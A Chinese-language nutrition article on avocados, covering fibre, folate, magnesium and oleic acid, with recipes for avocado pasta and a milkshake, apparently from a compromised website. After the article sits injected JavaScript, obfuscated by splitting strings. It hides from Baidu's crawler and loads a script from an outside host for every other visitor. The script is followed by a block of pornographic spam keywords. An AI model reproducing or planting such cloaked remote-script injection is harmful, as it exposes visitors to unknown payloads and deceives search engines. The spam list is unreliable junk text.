當前位置:首頁 > 飲食 > 食物營養 > 正文

牛油果有4大營養價值 牛油果怎么吃更美味

2016-01-14 19:00:21  來源:360常識網   熱度:
導語:牛油果成為了很多人所青睞的營養食物之一。不過,很多人對牛油果仍然會感到陌生。這種食物有哪些營養價值呢?

牛油果有4大營養價值 牛油果怎么吃更美味

牛油果有4大營養價值 牛油果怎么吃更美味

在近年來的市場上,牛油果成為了很多人所青睞的營養食物之一。不過,很多人對牛油果仍然會感到陌生。這種食物有哪些營養價值呢?應該怎么吃呢?接下來,不如就來一起了解了解吧。

牛油果的4大營養價值

纖維:酪梨的纖維含量很高(一個酪梨提供的膳食纖維為每日攝取量的34%),因為可溶纖維能清除體內多余的膽固醇,而不溶纖維幫助保持消化系統功能正常,預防便秘。

葉酸:酪梨是葉酸的良好來源(一個酪梨提供57微克葉酸,即每日攝取量的28%)。這種重要的維生素或能預防胎兒出現先天性神經管缺陷,減少成年人患癌癥和心臟病的機率。

鎂:鎂這種礦物質有助于緩和經前維候群、偏頭痛、焦慮和其他不適。

油酸:油酸是酪梨所含的一種單元不飽和脂肪,可代替膳食中的飽和脂肪,降低膽固醇水平。

那么,牛油果的吃法都有哪些呢?

牛油果的吃法

牛油果奶油意面:做法步驟其實和普通的家庭意面做法差不多,唯一不同之處就是把sauce換成牛油果。倒入碾壓成醬的牛油果后迅速倒入牛奶汁,快速攪拌,將牛油果醬與面攪拌均勻,撒入胡椒粉攪拌后如果覺得太干不夠有油水可倒適量橄欖油迅速攪拌后關火,可根據口味加入適量香草,味道會更好。

牛油果奶昔:做奶昔。把牛油果加上適當牛奶或酸奶,再加上蜂蜜,放入攪拌機,攪拌成奶昔,這是孩子和年輕人的最愛。

牛油果的食用注意事項

牛油果口感滑膩,味道不濃,可以把它加進很多菜里面的,不過也因為它很軟,炒或者炸的話就不大好了。

牛油果必須新鮮開新鮮吃,否則很快氧化變黃,即使加了檸檬汁也沒什么用的。

吃完牛油果后的大種子,將外殼剝去,浸在水盤或透明容器中,待長出嫩芽及根后,可成為室內觀賞盆栽。

牛油果的吃法很簡單,快來試試看吧。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
久久精品国产导航| 久久精品无码一区二区WWW| WWW国产精品内射熟女| 久久久久久久99精品国产片| 国产精品一区二区AV麻豆| 精品人妻av区乱码| 亚洲精品成人片在线观看精品字幕 | 精品人妻va出轨中文字幕| 久久精品国产一区二区三区| 国产乱人伦精品一区二区在线观看| 亚洲国语精品自产拍在线观看| 亚洲精品麻豆av| 精品久久久久久777米琪桃花| 亚洲国产精品成人综合色在线婷婷| 国产亚洲精品成人AA片新蒲金| 香蕉99久久国产综合精品宅男自| 亚洲熟妇成人精品一区| 3d动漫精品啪啪一区二区免费| 精品一区二区久久久久久久网站| xxxxbbbb国产精品| 国产麻豆剧传媒精品网站| 国产精品69白浆在线观看免费| 999这里只有精品| 亚洲高清国产AV拍精品青青草原| 精品偷自拍另类在线观看丰满白嫩大屁股ass | 9999国产精品欧美久久久久久| 国产精品臀控福利在线观看| 欧洲精品色在线观看| 亚洲精品高清国产一线久久| 久久久久这里只有精品| 亚州日韩精品专区久久久| 国产成人精品一区二三区| 精品无码国产AV一区二区三区 | 日韩精品一区二区三区四区| 国产亚洲精品不卡在线| 国产精品狼人久久久久影院 | 国产成人啪精品视频免费网| 国产精品无码AV不卡| 四虎国产精品免费久久| 亚洲国产精品成人午夜在线观看 | 精品视频国产狼友视频|